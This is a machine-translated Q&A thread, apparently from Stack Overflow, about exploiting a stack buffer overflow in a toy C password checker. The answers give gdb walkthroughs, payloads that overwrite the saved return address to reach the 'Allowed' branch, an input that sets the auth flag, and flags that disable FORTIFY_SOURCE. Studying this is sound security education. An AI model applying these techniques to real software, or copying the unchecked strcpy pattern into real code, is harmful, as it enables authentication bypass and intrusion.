试图缓冲区溢出

我试图使用缓冲区溢出更改函数的结果,以使用以下代码更改堆栈上的结果:

#include  #include  #include  int check_auth1(char *password) { char password_buffer[8]; int auth_flag = 0; strcpy(password_buffer, password); if (strcmp(password_buffer, "cup") == 0) { auth_flag = 1; } return auth_flag; } int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } int authenticated = check_auth1(argv[1]); if (authenticated != 1) { printf("NOT Allowed.\n"); } else { printf("Allowed.\n"); } return 0; } 

我正在使用gdb来分析堆栈,这就是我所拥有的:

 0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4 0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d 0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f 0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225 0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4 0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3 0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858 0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000 [1] $ebp 0xbffff6f8 [2] $esp 0xbffff6d0 [3] password 0xbffff700 [4] auth_flag 0xbffff6ec [5] password_buffer 0xbffff6e4 0x080484ce : push %ebp 0x080484cf : mov %esp,%ebp 0x080484d1 : and $0xfffffff0,%esp 0x080484d4 : sub $0x20,%esp 0x080484d7 : cmpl $0x1,0x8(%ebp) 0x080484db : jg 0x80484ff  0x080484dd : mov 0xc(%ebp),%eax 0x080484e0 : mov (%eax),%edx 0x080484e2 : mov $0x8048614,%eax 0x080484e7 : mov %edx,0x4(%esp) 0x080484eb : mov %eax,(%esp) 0x080484ee : call 0x8048360  0x080484f3 : movl $0x0,(%esp) 0x080484fa : call 0x80483a0  0x080484ff : mov 0xc(%ebp),%eax 0x08048502 : add $0x4,%eax 0x08048505 : mov (%eax),%eax 0x08048507 : mov %eax,(%esp) ---------- IMPORTANT STUFF STARTS NOW 0x0804850a : call 0x8048474  0x0804850f : mov %eax,0x1c(%esp) 0x08048513 : cmpl $0x1,0x1c(%esp) 0x08048518 : je 0x8048528  

我确定了$ ebp距离&password_buffer有多远:0xbffff6f8 – 0xbffff6e4 = 14个字节

因此,使用./stackoverflowtest $(perl -e 'print "A" x 14') ‘输入,即./stackoverflowtest $(perl -e 'print "A" x 14')它应该带我“允许”。

我哪里错了? 导致溢出所需的输入是什么?

ASLR和gcc金丝雀被关闭。

check_auth1程序集转储:

 Dump of assembler code for function check_auth1: 0x08048474 : push %ebp 0x08048475 : mov %esp,%ebp 0x08048477 : push %edi 0x08048478 : push %esi 0x08048479 : sub $0x20,%esp => 0x0804847c : movl $0x0,-0xc(%ebp) 0x08048483 : mov 0x8(%ebp),%eax 0x08048486 : mov %eax,0x4(%esp) 0x0804848a : lea -0x14(%ebp),%eax 0x0804848d : mov %eax,(%esp) 0x08048490 : call 0x8048370  0x08048495 : lea -0x14(%ebp),%eax 0x08048498 : mov %eax,%edx 0x0804849a : mov $0x8048610,%eax 0x0804849f : mov $0x4,%ecx 0x080484a4 : mov %edx,%esi 0x080484a6 : mov %eax,%edi 0x080484a8 : repz cmpsb %es:(%edi),%ds:(%esi) 0x080484aa : seta %dl 0x080484ad : setb %al 0x080484b0 : mov %edx,%ecx 0x080484b2 : sub %al,%cl 0x080484b4 : mov %ecx,%eax 0x080484b6 : movsbl %al,%eax 0x080484b9 : test %eax,%eax 0x080484bb : jne 0x80484c4  0x080484bd : movl $0x1,-0xc(%ebp) 0x080484c4 : mov -0xc(%ebp),%eax 0x080484c7 : add $0x20,%esp 0x080484ca : pop %esi 0x080484cb : pop %edi 0x080484cc : pop %ebp 0x080484cd : ret 

这很容易被利用,这是通过的方式。

首先用-g编译它,这样可以更容易理解你在做什么。 然后,我们的目标是重写保存的check_auth1() eip并将其移动到main()函数中测试的else部分。

 $> gcc -m32 -g -o vuln vuln.c $> gdb ./vuln ... (gdb) break check_auth1 Breakpoint 1 at 0x80484c3: file vulne.c, line 9. (gdb) run `python -c 'print("A"*28)'` Starting program: ./vulne `python -c 'print("A"*28)'` Breakpoint 1,check_auth1 (password=0xffffd55d 'A' ) at vuln.c:9 9 int auth_flag = 0; (gdb) info frame Stack level 0, frame at 0xffffd2f0: eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f called by frame at 0xffffd320 source language c. Arglist at 0xffffd2e8, args: password=0xffffd55d 'A'  Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0 Saved registers: ebp at 0xffffd2e8, eip at 0xffffd2ec 

我们停在check_auth1()并显示堆栈帧。 我们看到保存的eip存储在0xffffd2ec的堆栈中并包含0x804853f

让我们看看它的作用:

 (gdb) disassemble main Dump of assembler code for function main: 0x080484ff <+0>: push %ebp 0x08048500 <+1>: mov %esp,%ebp 0x08048502 <+3>: and $0xfffffff0,%esp 0x08048505 <+6>: sub $0x20,%esp 0x08048508 <+9>: cmpl $0x1,0x8(%ebp) 0x0804850c <+13>: jg 0x804852f  0x0804850e <+15>: mov 0xc(%ebp),%eax 0x08048511 <+18>: mov (%eax),%eax 0x08048513 <+20>: mov %eax,0x4(%esp) 0x08048517 <+24>: movl $0x8048604,(%esp) 0x0804851e <+31>: call 0x8048360  0x08048523 <+36>: movl $0x0,(%esp) 0x0804852a <+43>: call 0x80483a0  0x0804852f <+48>: mov 0xc(%ebp),%eax 0x08048532 <+51>: add $0x4,%eax 0x08048535 <+54>: mov (%eax),%eax 0x08048537 <+56>: mov %eax,(%esp) 0x0804853a <+59>: call 0x80484bd  0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning 0x08048543 <+68>: cmpl $0x1,0x1c(%esp) 0x08048548 <+73>: je 0x8048558  0x0804854a <+75>: movl $0x804861a,(%esp) 0x08048551 <+82>: call 0x8048380  0x08048556 <+87>: jmp 0x8048564  0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here 0x0804855f <+96>: call 0x8048380  0x08048564 <+101>: mov $0x0,%eax 0x08048569 <+106>: leave 0x0804856a <+107>: ret End of assembler dump. 

但事实是,我们希望避免通过cmpl $0x1,0x1c(%esp)并直接进入测试的else部分。 意思是我们要跳转到0x08048558

无论如何,让我们首先尝试看看我们的eip ‘是否足以重写保存的eip

 (gdb) next 10 strcpy(password_buffer, password); (gdb) next 11 if (strcmp(password_buffer, "cup") == 0) { 

这里, strcpy了溢出,所以让我们看看堆栈框架:

 (gdb) info frame Stack level 0, frame at 0xffffd2f0: eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141 called by frame at 0xffffd2f4 source language c. Arglist at 0xffffd2e8, args: password=0xffffd55d 'A'  Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0 Saved registers: ebp at 0xffffd2e8, eip at 0xffffd2ec 

实际上,我们用’ A ‘重写了保存的eip( 0x41A的hex代码)。 事实上,28正是我们所需要的,而不是更多。 如果我们用目标地址替换最后四个字节,那就没问题。

有一件事是你需要重新排序字节以考虑小端。 因此, 0x08048558将成为\x58\x85\x04\x08

最后,您还需要为保存的ebp值(而不是AAAA )编写一些有意义的地址,所以我的诀窍就是将最后一个地址加倍:

 $> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'` 

请注意,不需要禁用ASLR,因为您正在跳转.text部分(此部分不会在ASLR下移动)。 但是,你肯定需要禁用金丝雀。

编辑 :我错过了用保存的eip替换保存的ebp 。 事实上,如果你没有给出正确的ebp你会在尝试退出main时遇到段错误。 这是因为,我们确实将保存的ebp设置为.text部分中的某个地方,即使从check_auth1返回时没有问题,当在main函数中返回时,堆栈帧将被不正确地恢复(系统将相信堆栈位于代码中)。 结果将是我们编写的(并指向指令)保存的ebp所指向的地址上方的4个字节将被错误地保存为main eip 。 因此,要么禁用ASLR并写入保存的ebp0xffffd330 )的正确地址,这将导致

  $> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'` 

或者,您需要执行一个执行干净exit(0)的ROP(通常很容易实现)。

你正在检查1; 将其更改为(c编程的更正常的样式)

 if (! authenticated) { 

并且你会看到它正在工作(或者在gdb中运行它,或者打印出标志值,你会发现该标志被覆盖得很好,它只是不是1)。

记住int是由多个字符组成的。 所以设置一个正好为1的值很难,因为其中许多字符需要为零(这是字符串终止符)。 相反,你得到一个像13363(密码12345678901234)的值。

[嗯; 即使溢出,valgrind也不会抱怨。

UPDATE

好的,这是如何使用您拥有的代码。 我们需要一个包含13个字符的字符串,其中最后一个字符是ASCII 1.在bash中:

 > echo -n "123456789012" > foo > echo $'\001' >> foo > ./a.out `cat foo` Allowed. 

我在哪里使用

  if (authenticated != 1) { printf("NOT Allowed.\n"); } else { printf("Allowed.\n"); } 

另外,我依靠编译器将一些未使用的字节设置为零(小端;第13个字节是1 14-16th是0)。 它适用于gcc bo.c但不适用于gcc -O3 bo.c

这里的另一个答案是通过走到下一个可以被有效覆盖的地方来解决这个问题(我假设你的目标是auth_flag变量,因为你直接将它放在密码之后)。

 strcpy(password_buffer, password); 

测试期间需要解决的一个问题是此函数调用。 如果程序seg出错,则可能是因为FORTIFY_SOURCE。 我想说“意外崩溃”,但我不认为这适用于此;)

FORTIFY_SOURCE使用“更安全”的高风险函数变体,如memcpystrcpy 。 当编译器可以推导出目标缓冲区大小时,编译器会使用更安全的变体。 如果副本超过目标缓冲区大小,则程序调用abort()

要禁用FORTIFY_SOURCE进行测试,应使用-U_FORTIFY_SOURCE-D_FORTIFY_SOURCE=0编译程序。